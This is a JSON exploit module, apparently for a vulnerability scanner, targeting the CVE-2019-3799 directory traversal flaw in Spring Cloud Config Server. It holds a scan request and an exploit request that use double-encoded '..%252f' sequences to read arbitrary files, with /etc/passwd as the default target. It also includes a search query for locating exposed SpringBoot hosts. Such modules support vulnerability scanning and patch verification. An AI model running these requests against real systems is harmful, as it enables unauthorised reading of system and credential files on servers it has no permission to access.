{
  "Name": "Spring Cloud Config Server Directory Traversal (CVE-2019-3799)",
  "Description": "Spring Cloud Config, versions 2.1.x prior to 2.1.2, versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.",
  "Product": "SpringCloudConfig",
  "Homepage": "https://github.com/spring-cloud/spring-cloud-config",
  "DisclosureDate": "2019-05-06",
  "Author": "gobysec@gmail.com",
  "GifAddress": "https://raw.githubusercontent.com/gobysec/GobyVuls/master/Spring/CVE-2019-3799/CVE-2019-3799.gif",
  "FofaQuery": "app=\"SpringBoot\"",
  "Level": "2",
  "Impact": "A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.",
  "Recommendation": "",
  "References": [
    "https://github.com/mpgn/CVE-2019-3799",
    "https://pivotal.io/security/cve-2019-3799",
    "https://nvd.nist.gov/vuln/detail/CVE-2019-3799",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3799"
  ],
  "HasExp": true,
  "ExpParams": [{
                  "name": "file",
                  "type": "input",
                  "value": "/etc/passwd"
            }],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/test/pathtraversal/master/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../etc/passwd"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "nologin",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/test/pathtraversal/master/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{{{file}}}"
                  },
                  "SetVariable": ["output|lastbody"]
            }
      ],
  "Tags": null,
  "CVEIDs": [
    "CVE-2019-3799"
  ],
  "CVSSScore": "6.5",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}